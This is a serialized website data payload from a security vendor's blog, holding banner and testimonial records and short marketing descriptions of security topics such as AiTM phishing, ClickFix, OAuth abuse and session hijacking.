[{"data":1,"prerenderedAt":77020},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":36,"navbar-about-highlight":108,"navbar-resource-highlight":182,"blog-topics":226,"trust-badges":656,"solution-nav":677,"fa-icon-solid-faUserSecret":800,"fa-icon-sharp-regular-faLaptopCode":804,"fa-icon-solid-faPlugCircleXmark":806,"fa-icon-sharp-regular-faPuzzlePiece":808,"fa-icon-solid-faFileCircleXmark":810,"fa-icon-solid-faGhost":813,"fa-icon-solid-faQrcode":816,"fa-icon-solid-faCookieBite":818,"fa-icon-sharp-regular-faFishingRod":820,"fa-icon-sharp-regular-faUserSecret":822,"fa-icon-sharp-regular-faRadar":824,"fa-icon-sharp-regular-faSatelliteDish":826,"fa-icon-sharp-regular-faShieldCheck":828,"fa-icon-sharp-regular-faBrainCircuit":830,"fa-icon-solid-faMobileScreenButton":832,"fa-icon-brands-faChrome":834,"fa-icon-solid-faDisplay":836,"fa-icon-solid-faFilter":838,"fa-icon-solid-faCloudArrowUp":840,"blog-topic-ai-attacks":842},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":22,"data":23,"variations":28,"lastUpdated":29,"firstPublished":30,"testRatio":31,"createdBy":32,"lastUpdatedBy":33,"folders":34,"rev":35},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":19,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},768,640,320,true,"data","",[],{"link":24,"text":25,"type":26,"url":27},{},"Get our latest report analyzing browser attack techniques in 2026","web-banner","https://pushsecurity.com/resources/browser-attacks-report",{},1774258294825,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],"j7ew2tin4q",{"createdBy":37,"createdDate":38,"data":39,"folders":94,"id":95,"lastUpdated":96,"lastUpdatedBy":97,"meta":98,"modelId":102,"name":103,"published":13,"query":104,"testRatio":31,"variations":105,"firstPublished":106,"stageModifiedSincePublish":6,"rev":107},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":40,"text":41,"url":21,"blocks":42,"state":90},"ewrererw","testrfesssssssssss",[43,70,78],{"@type":44,"@version":45,"id":46,"component":47,"responsiveStyles":60},"@builder.io/sdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":48,"tag":48,"options":49,"isRSC":59},"TopBannerContent",{"text":50,"ctaText":51,"url":52,"mainText":53,"cta":56},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https://pushsecurity.com/webinar/state-of-browser-security",{"content":54,"fontSize":55},"\u003Cp class=\"\">Do you know how much AI is in your workforce? Find out August 20th.\u003C/p>","text-base",{"content":57,"fontSize":55,"url":58},"\u003Cp class=\"\">Save your seat →\u003C/p>","https://pushsecurity.com/webinar/shadow-ai",null,{"large":61},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66,"marginTop":67,"marginBottom":67,"fontSize":68,"fontWeight":69},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"@type":44,"@version":45,"id":71,"component":72,"responsiveStyles":76},"builder-a2e1f4b9f30b464bb814d7f5de5b0aa7",{"name":73,"options":74,"isRSC":59},"Custom Code",{"code":75,"scriptsClientOnly":6},"\u003Cstyle>\n  .top-banner.bg-web-orange{background:rgb(114, 79, 255);}\n\u003C/style>\n",{"large":77},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66},{"id":79,"@type":44,"tagName":80,"properties":81,"responsiveStyles":85},"builder-pixel-k74nkzlquog","img",{"src":82,"aria-hidden":83,"alt":21,"role":84,"width":65,"height":65},"https://cdn.builder.io/api/v1/pixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true","presentation",{"large":86},{"height":65,"width":65,"display":87,"opacity":65,"overflow":88,"pointerEvents":89},"block","hidden","none",{"deviceSize":91,"location":92},"large",{"path":21,"query":93},{},[],"fd266d0172cc47429be7ad10f48c99ad",1786155414606,"kYgMv6WsbvfmlOUYqR2SFwGzw6e2",{"breakpoints":99,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":100,"lastPreviewUrl":101},{"medium":16,"small":17,"xsmall":18},"component","https://pushsecurity.com/?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=always-visible-banner&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.always-visible-banner=fd266d0172cc47429be7ad10f48c99ad&builder.overrides.fd266d0172cc47429be7ad10f48c99ad=fd266d0172cc47429be7ad10f48c99ad&builder.options.locale=Default","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"1lcyl36j3gz",[109,145],{"createdBy":32,"createdDate":110,"data":111,"folders":134,"id":135,"lastUpdated":136,"lastUpdatedBy":32,"meta":137,"modelId":139,"name":140,"published":13,"query":141,"stageModifiedSincePublish":6,"testRatio":31,"variations":142,"firstPublished":143,"rev":144},1776247359804,{"link":112,"testimonial":113,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":117},"@builder.io/core:Reference","f028f2b685bb47cd8bf9e82a26dd5a79","testimonial",{"query":118,"folders":119,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":123,"variations":127,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":130,"rev":132},[],[],1735823466309,"We found Push to be more accurate when compared to competitors and the browser agent offered features that others couldn’t match.","42035571a56940ac98bff4544aa79aa5",{"author":124,"jobTitle":125,"quote":121,"image":126},"Jason Waits","\u003Cp>CISO at Inductive Automation\u003C/p>","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07",{},1735910703862,1735823501152,{"kind":20,"lastPreviewUrl":21,"breakpoints":131,"hasAutosaves":19},{"small":17,"medium":16},"xal7chkxmdh","/customer-stories/inductive-automation",[],"9136a8f18b3b4a6ba29b8653a99372b1",1776247404986,{"breakpoints":138,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"20d9eaa352304613b3d1a794b400703d","testimonial-inductive-automation",[],{},1776247404973,"5mqgwlt47hs",{"createdBy":32,"createdDate":146,"data":147,"folders":174,"id":175,"lastUpdated":176,"lastUpdatedBy":32,"meta":177,"modelId":139,"name":172,"published":13,"query":179,"stageModifiedSincePublish":6,"testRatio":31,"variations":180,"firstPublished":181,"rev":144},1776255761419,{"description":148,"image":149,"link":150,"testimonial":153,"title":172,"type":173},"Learn about the latest techniques being used in the wild.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F7b4a5ebf81d64e8c9d7fc35f6c96c4a9",{"text":151,"url":152},"Download now","/resources/browser-attacks-report",{"@type":114,"id":154,"model":116,"value":155},"192acbb1f9ca4cac918c0ec435a8bae3",{"query":156,"folders":157,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":160,"variations":166,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":169,"rev":171},[],[],1728981467463,"Push does for identity what CrowdStrike did for the endpoint",{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},"https://cdn.builder.io/o/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F8b30e8ca50064058bbaef0f3c6164575%2Fcompressed?apiKey=f3a1111ff5be48cdbb123cd9f5795a05&token=8b30e8ca50064058bbaef0f3c6164575&alt=media&optimized=true","\u003Cp>Deputy CISO at Microsoft\u003C/p>\u003Cp>Former LinkedIn, Slack, Palantir\u003C/p>","Geoff Belknap","Push does for identity what CrowdStrike did for the endpoint.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F748f0ad0a5064a00a13f4721fcc8dea1",{},1742902158597,1728981782923,{"kind":20,"lastPreviewUrl":21,"breakpoints":170,"hasAutosaves":19},{"small":17,"medium":16},"kg131t0jkvo","Report: 2026 Browser Attack Techniques","resource",[],"05a9322735fc427db12e2740e4302300",1776255810913,{"breakpoints":178,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},[],{},1776255810900,[183,205],{"createdBy":32,"createdDate":184,"data":185,"folders":195,"id":196,"lastUpdated":197,"lastUpdatedBy":32,"meta":198,"modelId":200,"name":172,"published":13,"query":201,"stageModifiedSincePublish":6,"testRatio":31,"variations":202,"firstPublished":203,"rev":204},1776256900280,{"description":148,"image":149,"link":186,"testimonial":187,"title":172,"type":173},{"text":151,"url":152},{"@type":114,"id":154,"model":116,"value":188},{"query":189,"folders":190,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":191,"variations":192,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":193,"rev":171},[],[],{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":194,"hasAutosaves":19},{"small":17,"medium":16},[],"1f429607996e4e5fae8fe3f9b9610e55",1776256937553,{"breakpoints":199,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"4829faa81e7c4ee8bd2d000e160e8d3c",[],{},1776256937540,"470xio0yv7r",{"createdBy":32,"createdDate":206,"data":207,"folders":217,"id":218,"lastUpdated":219,"lastUpdatedBy":32,"meta":220,"modelId":200,"name":222,"published":13,"query":223,"stageModifiedSincePublish":6,"testRatio":31,"variations":224,"firstPublished":225,"rev":204},1776256949234,{"link":208,"testimonial":209,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":210},{"query":211,"folders":212,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":213,"variations":214,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":215,"rev":132},[],[],{"author":124,"jobTitle":125,"quote":121,"image":126},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":216,"hasAutosaves":19},{"small":17,"medium":16},[],"ce043785b71b4ece98eac811ecf4ba10",1776256974140,{"breakpoints":221,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"inductive-automation",[],{},1776256974130,{"id":227,"extension":228,"items":229,"meta":653,"stem":654,"__hash__":655},"blogTopics/blogtopics.json","json",[230,239,247,256,265,274,283,292,301,310,319,328,337,346,355,363,372,381,390,399,408,417,426,435,443,452,461,470,479,488,497,506,514,523,532,540,549,558,566,575,584,593,602,611,619,628,637,645],{"sys":231,"faqItemsCollection":233,"name":235,"slug":236,"tier":31,"intro":237,"faqTitle":59,"postCount":238,"hasPage":19},{"id":232},"topic-ai",{"items":234},[],"AI","ai","AI is reshaping both sides of the security equation: employees adopt AI tools faster than security teams can track them, while attackers use AI to scale and automate campaigns. Shadow AI adoption may now outpace wider shadow SaaS, and attackers are already turning AI chatbot platforms into malware delivery channels. Push has researched the offensive potential of computer-using agents and now applies AI agents to its own threat hunting. This hub covers AI as risk, target, and defensive tool.",22,{"sys":240,"faqItemsCollection":242,"name":244,"slug":245,"tier":45,"intro":246,"faqTitle":59,"postCount":238,"hasPage":19},{"id":241},"topic-ai-attacks",{"items":243},[],"AI attacks","ai-attacks","AI attacks run in both directions: attackers using AI to scale phishing, malware delivery, and identity attacks, and AI platforms themselves becoming the attack surface. Push has researched how computer-using agents can automate identity attacks, and has seen the poisoned tenant technique it coined used against its own employees in the wild.",{"sys":248,"faqItemsCollection":250,"name":252,"slug":253,"tier":45,"intro":254,"faqTitle":59,"postCount":255,"hasPage":19},{"id":249},"topic-ai-governance",{"items":251},[],"AI governance","ai-governance","AI governance is how organizations set and enforce rules for workplace AI use — which tools are allowed, what data can enter them, and how to evidence it to regulators. With US, EU, and UK AI regulations converging on obligations most organizations can’t yet meet, Push’s research makes the case that enforcement starts in the browser, where AI tools are actually used.",9,{"sys":257,"faqItemsCollection":259,"name":261,"slug":262,"tier":45,"intro":263,"faqTitle":59,"postCount":264,"hasPage":19},{"id":258},"topic-aitm",{"items":260},[],"AiTM phishing","aitm","Adversary-in-the-middle (AiTM) phishing proxies a real login page through an attacker-controlled site, capturing credentials, MFA codes, and session tokens in real time to bypass multi-factor authentication. Push’s research into kits like Evilginx and Sneaky2FA documents how they evade URL- and signature-based detection — and why analyzing toolkit behavior in the browser catches attacks that blocklists miss.",77,{"sys":266,"faqItemsCollection":268,"name":270,"slug":271,"tier":45,"intro":272,"faqTitle":59,"postCount":273,"hasPage":6},{"id":267},"topic-bec",{"items":269},[],"BEC","bec","Business email compromise (BEC) turns a hijacked mailbox into a fraud tool: attackers use mail rules, auto-forwarding, and payment redirection to steal money while staying invisible to the account owner. Alongside a first-hand case study of a BEC attack that nearly cost an engineering firm millions, Push breaks down these mailbox persistence tricks and how to detect them.",3,{"sys":275,"faqItemsCollection":277,"name":279,"slug":280,"tier":31,"intro":281,"faqTitle":59,"postCount":282,"hasPage":19},{"id":276},"topic-browser-attacks",{"items":278},[],"Browser attacks","browser-attacks","Browser attacks target users through the web pages, sessions, and extensions they rely on every day — bypassing endpoint and network defenses that never see inside the browser. Techniques like AiTM phishing kits, ClickFix-style copy-paste attacks, OAuth consent abuse, malvertising, and browser sync abuse have become a leading path to account takeover. Push researchers analyze these attacks in the wild, from infiltrating criminal phishing panels to dissecting toolkits like ConsentFix and Sneaky2FA. Use this hub to track how the techniques evolve and how to defend against them.",118,{"sys":284,"faqItemsCollection":286,"name":288,"slug":289,"tier":45,"intro":290,"faqTitle":59,"postCount":291,"hasPage":19},{"id":285},"topic-browser-extensions",{"items":287},[],"Browser extensions","browser-extensions","Browser extensions cut both ways for security teams: malicious or compromised extensions are a growing attack vector, while an extension is also the lightest-weight way to deploy security controls into the browsers employees already use. These posts cover both sides — extension-borne risks like browser sync attacks and the limits of risk scoring, and how Push uses its extension to detect threats and block risky extensions.",30,{"sys":293,"faqItemsCollection":295,"name":297,"slug":298,"tier":31,"intro":299,"faqTitle":59,"postCount":300,"hasPage":19},{"id":294},"topic-browser-security",{"items":296},[],"Browser security","browser-security","Work now happens in the browser, making browser security — visibility and control at the point where users meet the web — a core layer of enterprise defense. Endpoint, network, and email tools miss attacks that unfold inside the browser session, from AiTM phishing to risky extensions and shadow SaaS. Push has published extensively on choosing between enterprise browsers and browser extensions, using browser telemetry, and making the business case for browser security. Start here for both strategy and hands-on guidance.",127,{"sys":302,"faqItemsCollection":304,"name":306,"slug":307,"tier":45,"intro":308,"faqTitle":59,"postCount":309,"hasPage":19},{"id":303},"topic-casb",{"items":305},[],"CASB","casb","Cloud access security brokers (CASBs) govern cloud app usage through API integrations and network proxies — an approach that works for sanctioned apps but struggles with the long tail of shadow SaaS employees adopt on their own. Because every SaaS signup happens in a browser, Push captures that adoption in real time at the point of login, and these posts cover what proxy-based discovery misses.",12,{"sys":311,"faqItemsCollection":313,"name":315,"slug":316,"tier":45,"intro":317,"faqTitle":59,"postCount":318,"hasPage":19},{"id":312},"topic-clickfix",{"items":314},[],"ClickFix","clickfix","ClickFix attacks trick users into copying and running malicious commands themselves — typically through fake CAPTCHA, error, or fix-it prompts — so malware executes without a download for security tools to scan. Push researchers track the technique’s evolution in the wild and identified the ConsentFix and InstallFix variants, which extend it to OAuth consent grants and fake install guides.",39,{"sys":320,"faqItemsCollection":322,"name":324,"slug":325,"tier":45,"intro":326,"faqTitle":59,"postCount":327,"hasPage":19},{"id":321},"topic-credential-phishing",{"items":323},[],"Credential phishing","credential-phishing","Credential phishing steals usernames and passwords through fake login pages impersonating the services employees use, handing attackers direct access to corporate accounts. Attackers don’t hack in — they log in. Push’s browser extension analyzes login pages as users actually see them, blocking cloned pages and stopping employees from entering company passwords on lookalike sites.",89,{"sys":329,"faqItemsCollection":331,"name":333,"slug":334,"tier":45,"intro":335,"faqTitle":59,"postCount":336,"hasPage":19},{"id":330},"topic-credential-stuffing",{"items":332},[],"Credential stuffing","credential-stuffing","Credential stuffing is an attack where criminals replay username-password pairs stolen from one breach against other services, exploiting password reuse to take over accounts. Major breaches have shown how far a single set of stolen credentials can travel. Push detects verified stolen credentials by comparing employee passwords against breach datasets and dark-web threat intelligence, eliminating false positives.",64,{"sys":338,"faqItemsCollection":340,"name":342,"slug":343,"tier":31,"intro":344,"faqTitle":59,"postCount":345,"hasPage":19},{"id":339},"topic-detection-and-response",{"items":341},[],"Detection & response","detection-and-response","Detection and response is being reshaped as attacks move into the browser, where EDR, SIEM, and network tools have limited visibility. Modern phishing kits evade signature-based detection, and most malicious pages have never been seen before — so technique-level, in-browser detection matters more than known-bad indicators. Push’s work here spans high-fidelity browser telemetry, session token theft detection, and agentic threat hunting, plus practical IR guidance for compromised SaaS accounts and malicious OAuth apps. These posts cover both the philosophy and the workflows.",101,{"sys":347,"faqItemsCollection":349,"name":351,"slug":352,"tier":45,"intro":353,"faqTitle":59,"postCount":354,"hasPage":19},{"id":348},"topic-detection-engineering",{"items":350},[],"Detection engineering","detection-engineering","Detection engineering turns threat research into reliable, high-fidelity detections — and as AI accelerates the churn of attacker infrastructure, indicator-based detection is collapsing in favor of technique-level approaches. Here you’ll find teardowns of AiTM kits, ClickFix pages, and malvertising campaigns, alongside Push’s own account of building an agentic threat hunting pipeline that turns hunts into shipped detections.",42,{"sys":356,"faqItemsCollection":358,"name":360,"slug":361,"tier":45,"intro":362,"faqTitle":59,"postCount":238,"hasPage":19},{"id":357},"topic-device-code-phishing",{"items":359},[],"Device code phishing","device-code-phishing","Device code phishing abuses the OAuth device authorization flow: attackers generate a legitimate sign-in code, trick the victim into entering it on the vendor’s real login page, and walk away with access tokens — no fake site or password capture required. Push research tracked a sharp spike in adoption during 2026 as attackers use the technique to sidestep standard access controls.",{"sys":364,"faqItemsCollection":366,"name":368,"slug":369,"tier":45,"intro":370,"faqTitle":59,"postCount":371,"hasPage":19},{"id":365},"topic-dlp",{"items":367},[],"DLP","dlp","Data loss prevention (DLP) is the practice of stopping sensitive data from leaving your control — a problem that has shifted from email and endpoints to the browser, where employees move data into SaaS and AI tools. Push applies controls at that point of use, from keeping corporate credentials out of personal password managers to governing what flows into unsanctioned apps.",15,{"sys":373,"faqItemsCollection":375,"name":377,"slug":378,"tier":45,"intro":379,"faqTitle":59,"postCount":380,"hasPage":19},{"id":374},"topic-edr",{"items":376},[],"EDR","edr","Endpoint detection and response (EDR) watches processes, files, and memory on the device — a vantage point that never sees the phishing pages, stolen sessions, and identity attacks playing out inside the browser. That’s not an EDR failure; attackers have simply moved where it can’t follow. These posts map that gap and show how Push pairs browser-level detection and response with endpoint security to close it.",24,{"sys":382,"faqItemsCollection":384,"name":386,"slug":387,"tier":45,"intro":388,"faqTitle":59,"postCount":389,"hasPage":19},{"id":383},"topic-enterprise-browser",{"items":385},[],"Enterprise browser","enterprise-browser","An enterprise browser is a standalone, security-hardened browser that organizations deploy in place of Chrome, Edge, or other defaults. The real buying question is whether replacing the browser beats securing the browsers employees already use — a trade-off these posts examine directly, alongside analysis of Omdia’s secure enterprise browser market report and Push’s framework for weighing full browsers against extension-based deployment.",6,{"sys":391,"faqItemsCollection":393,"name":395,"slug":396,"tier":45,"intro":397,"faqTitle":59,"postCount":398,"hasPage":19},{"id":392},"topic-ghost-logins",{"items":394},[],"Ghost logins","ghost-logins","Ghost logins are overlooked authentication routes into an account — like a password login lingering behind SSO, or a forgotten secondary auth method — that attackers exploit for account takeover and persistence. Push coined the term after research showing how these forgotten login paths let attackers sidestep the MFA and SSO controls guarding an account’s primary sign-in method.",48,{"sys":400,"faqItemsCollection":402,"name":404,"slug":405,"tier":45,"intro":406,"faqTitle":59,"postCount":407,"hasPage":19},{"id":401},"topic-identity-attacks",{"items":403},[],"Identity attacks","identity-attacks","Identity attacks target user accounts rather than infrastructure — phishing credentials, stealing sessions, abusing OAuth grants — because logging in is easier than hacking in. Identity-based techniques are now the leading cause of breaches. Push’s offensive research maps these techniques continuously, coining attacks like SAMLjacking and the poisoned tenant before they appeared in the wild.",56,{"sys":409,"faqItemsCollection":411,"name":413,"slug":414,"tier":31,"intro":415,"faqTitle":59,"postCount":416,"hasPage":19},{"id":410},"topic-identity-security",{"items":412},[],"Identity security","identity-security","Identity security is the practice of protecting workforce accounts, credentials, and sessions — the primary route attackers now use to breach organizations. Instead of hacking in, attackers log in: through phished credentials, stolen session tokens, MFA bypass, and forgotten ghost logins. Push’s research team documents these techniques continuously, from cross-IdP impersonation and SAMLjacking to analyses of major identity-driven breaches. This hub collects that research alongside practical guidance on MFA, SSO, and stopping account takeover.",154,{"sys":418,"faqItemsCollection":420,"name":422,"slug":423,"tier":45,"intro":424,"faqTitle":59,"postCount":425,"hasPage":19},{"id":419},"topic-infostealer",{"items":421},[],"Infostealer","infostealer","Infostealers are malware built to harvest saved passwords, cookies, and session tokens from infected devices, supplying the stolen credentials behind some of the most consequential breaches of recent years. Push traces the ecosystem trading this data and checks employee passwords against threat intel feeds, flagging verified stolen credentials before attackers can log in with them.",52,{"sys":427,"faqItemsCollection":429,"name":431,"slug":432,"tier":45,"intro":433,"faqTitle":59,"postCount":434,"hasPage":19},{"id":428},"topic-legitimate-service-abuse",{"items":430},[],"Legitimate service abuse","legitimate-service-abuse","Legitimate service abuse means staging attacks on trusted platforms — Google Ads, AI chatbot share pages, office.com links, Slack, SaaS tenants — so malicious content inherits the reputation of the service hosting it. Push research has documented the pattern repeatedly, from malvertising run through hijacked Google Ad Manager accounts to phishing links generated by Active Directory Federation Services.",28,{"sys":436,"faqItemsCollection":438,"name":440,"slug":441,"tier":45,"intro":442,"faqTitle":59,"postCount":291,"hasPage":19},{"id":437},"topic-malvertising",{"items":439},[],"Malvertising","malvertising","Malvertising uses paid search and display ads to put phishing pages and malware in front of users, often by impersonating trusted brands at the top of Google results. Push tracks these campaigns continuously — intercepting live attacks spoofing well-known brands — and has documented how criminals hijack Google Ads accounts to fund and run them.",{"sys":444,"faqItemsCollection":446,"name":448,"slug":449,"tier":45,"intro":450,"faqTitle":59,"postCount":451,"hasPage":19},{"id":445},"topic-malware-delivery",{"items":447},[],"Malware delivery","malware-delivery","Malware delivery has moved into the browser: rather than email attachments, attackers now rely on malvertising, fake install guides, and ClickFix-style copy-paste lures to get code running on endpoints. Push research on techniques like InstallFix maps the playbook, and in-browser detection of malicious copy and paste blocks these attacks before commands reach the endpoint.",13,{"sys":453,"faqItemsCollection":455,"name":457,"slug":458,"tier":45,"intro":459,"faqTitle":59,"postCount":460,"hasPage":19},{"id":454},"topic-mfa",{"items":456},[],"MFA","mfa","Multi-factor authentication (MFA) requires a second proof of identity beyond a password, and it remains one of the most effective controls against account takeover. Regulators from Cyber Essentials to NYDFS now mandate it across cloud services. Push enforces MFA in the browser on third-party apps — even those with no native enforcement option — and shows security teams where coverage gaps remain.",83,{"sys":462,"faqItemsCollection":464,"name":466,"slug":467,"tier":45,"intro":468,"faqTitle":59,"postCount":469,"hasPage":19},{"id":463},"topic-mfa-bypass",{"items":465},[],"MFA bypass","mfa-bypass","MFA bypass covers the techniques attackers use to defeat multi-factor authentication — AiTM phishing kits, consent phishing, device code phishing, and MFA downgrade attacks among them. None of these break the second factor; they route around it. Push researchers regularly get hands-on with phishing kits like Evilginx and Sneaky2FA, analyzing how these attacks work in the wild and how they evolve.",58,{"sys":471,"faqItemsCollection":473,"name":475,"slug":476,"tier":45,"intro":477,"faqTitle":59,"postCount":478,"hasPage":19},{"id":472},"topic-non-email-phishing",{"items":474},[],"Non-email phishing","non-email-phishing","Non-email phishing delivers malicious links through channels your secure email gateway never sees — social media messages, IM apps like Slack and Teams, search ads, and SMS. Push has intercepted live campaigns arriving via LinkedIn DMs, malvertising, and messaging platforms, which is why it detects phishing pages in the browser at the point of click, regardless of delivery channel.",51,{"sys":480,"faqItemsCollection":482,"name":484,"slug":485,"tier":45,"intro":486,"faqTitle":59,"postCount":487,"hasPage":19},{"id":481},"topic-oauth-abuse",{"items":483},[],"OAuth abuse","oauth-abuse","OAuth abuse is attackers exploiting app-to-app authorization — consent phishing, malicious OAuth apps, stolen tokens, and device code flows — to gain persistent access to cloud tenants without touching a password or MFA prompt. Push tracks these techniques continuously and discovered ConsentFix, a browser-native attack in the wild that pairs OAuth consent phishing with a ClickFix-style prompt.",70,{"sys":489,"faqItemsCollection":491,"name":493,"slug":494,"tier":45,"intro":495,"faqTitle":59,"postCount":496,"hasPage":19},{"id":490},"topic-passkeys",{"items":492},[],"Passkeys","passkeys","Passkeys are phishing-resistant credentials that replace passwords with cryptographic key pairs bound to a user’s device. They defeat conventional credential phishing, but attackers adapt: Push research has documented MFA downgrade, app-specific password phishing, and device code phishing being used in the wild to route around passkey-protected accounts. Deploying passkeys is step one; closing those fallback paths is step two.",21,{"sys":498,"faqItemsCollection":500,"name":502,"slug":503,"tier":45,"intro":504,"faqTitle":59,"postCount":505,"hasPage":19},{"id":499},"topic-password-security",{"items":501},[],"Password security","password-security","Password security is the practice of keeping workforce credentials strong, unique, and out of attackers’ hands — still a frontline defense while most SaaS logins depend on passwords. Expiration policies don’t fix weak or reused passwords; visibility does. Push observes real logins in the browser to flag weak, reused, and breached passwords and guide employees to reset them on any app.",79,{"sys":507,"faqItemsCollection":509,"name":511,"slug":512,"tier":45,"intro":513,"faqTitle":59,"postCount":318,"hasPage":19},{"id":508},"topic-phaas",{"items":510},[],"PhaaS","phaas","Phishing-as-a-service (PhaaS) platforms sell ready-made phishing kits, hosted infrastructure, and management panels on subscription, letting low-skill criminals run MFA-bypassing campaigns at scale. Kits like Evilginx, Tycoon2FA, Sneaky2FA, FlowerStorm, and EvilTokens each add their own evasion and session-theft capabilities, and new entrants appear regularly. Push researchers continuously get hands-on with these tools — investigating attacks in the wild, reverse-engineering kit behavior, and turning that research into detections.",{"sys":515,"faqItemsCollection":517,"name":519,"slug":520,"tier":31,"intro":521,"faqTitle":59,"postCount":522,"hasPage":19},{"id":516},"topic-phishing",{"items":518},[],"Phishing","phishing","Phishing remains the most common way attackers compromise business accounts — and it has moved far beyond suspicious emails. Modern campaigns use AiTM toolkits that bypass MFA, consent phishing against OAuth, device code phishing, and lures delivered through malvertising, LinkedIn, and Slack. Push detects and blocks these attacks in the browser, and its researchers publish teardowns of live campaigns and kits like Evilginx and Sneaky2FA. Read on for how phishing actually works today and what stops it.",91,{"sys":524,"faqItemsCollection":526,"name":528,"slug":529,"tier":45,"intro":530,"faqTitle":59,"postCount":531,"hasPage":19},{"id":525},"topic-public-breach",{"items":527},[],"Public breach","public-breach","Public breaches are the disclosed incidents that show how attacks actually unfold once the headlines fade. Push’s breach analyses keep finding identity at the entry point: stolen credentials, OAuth abuse, and missing MFA recur across the incidents analyzed here.",29,{"sys":533,"faqItemsCollection":535,"name":537,"slug":538,"tier":45,"intro":539,"faqTitle":59,"postCount":451,"hasPage":19},{"id":534},"topic-ransomware",{"items":536},[],"Ransomware","ransomware","Ransomware attacks increasingly begin with an identity, not an exploit: stolen credentials, MFA bypass, and help desk scams give operators their initial foothold. The analysis here follows that front end of the kill chain — how identity compromise leads to ransomware deployment, and the breaches driving regulators toward tighter MFA requirements.",{"sys":541,"faqItemsCollection":543,"name":545,"slug":546,"tier":31,"intro":547,"faqTitle":59,"postCount":548,"hasPage":19},{"id":542},"topic-saas-security",{"items":544},[],"SaaS security","saas-security","SaaS security means protecting the sprawl of cloud apps, accounts, and integrations your employees adopt — often without IT ever knowing. Shadow SaaS, risky OAuth grants, ghost logins, and unmanaged third-party access create attack paths traditional controls can’t see, as recent high-profile breaches have demonstrated. Building on the original SaaS attack matrix, Push continues to map SaaS-native attack techniques alongside practical guides for discovering and securing unsanctioned apps, and this hub gathers all of it.",96,{"sys":550,"faqItemsCollection":552,"name":554,"slug":555,"tier":45,"intro":556,"faqTitle":59,"postCount":557,"hasPage":6},{"id":551},"topic-security-training",{"items":553},[],"Security training","security-training","Security training aims to teach employees to recognize and avoid attacks — yet modern phishing routinely fools even seasoned security professionals. Push argues that training budgets work harder as real-time, in-browser intervention: guardrails and warnings at the moment of risk, rather than lessons employees must recall under pressure.",4,{"sys":559,"faqItemsCollection":561,"name":563,"slug":564,"tier":45,"intro":565,"faqTitle":59,"postCount":389,"hasPage":19},{"id":560},"topic-seo-poisoning",{"items":562},[],"SEO poisoning","seo-poisoning","SEO poisoning manipulates search engine results so malicious pages rank prominently for the software, tools, or services users are actively searching for, turning a routine search into an infection vector. It often pairs with malvertising and ClickFix-style payloads — Push has documented attackers abusing shared pages on legitimate AI chatbot domains to deliver malware from trusted infrastructure.",{"sys":567,"faqItemsCollection":569,"name":571,"slug":572,"tier":45,"intro":573,"faqTitle":59,"postCount":574,"hasPage":19},{"id":568},"topic-session-hijacking",{"items":570},[],"Session hijacking","session-hijacking","Session hijacking is the theft of an authenticated session — usually via stolen session cookies or tokens — letting attackers walk past passwords and MFA into a live account. AiTM phishing kits and infostealers have made it a mainstream attack technique across both criminal and targeted intrusions. Push’s browser agent detects session token theft by adding telemetry to the user agent string, creating a high-fidelity signal for security 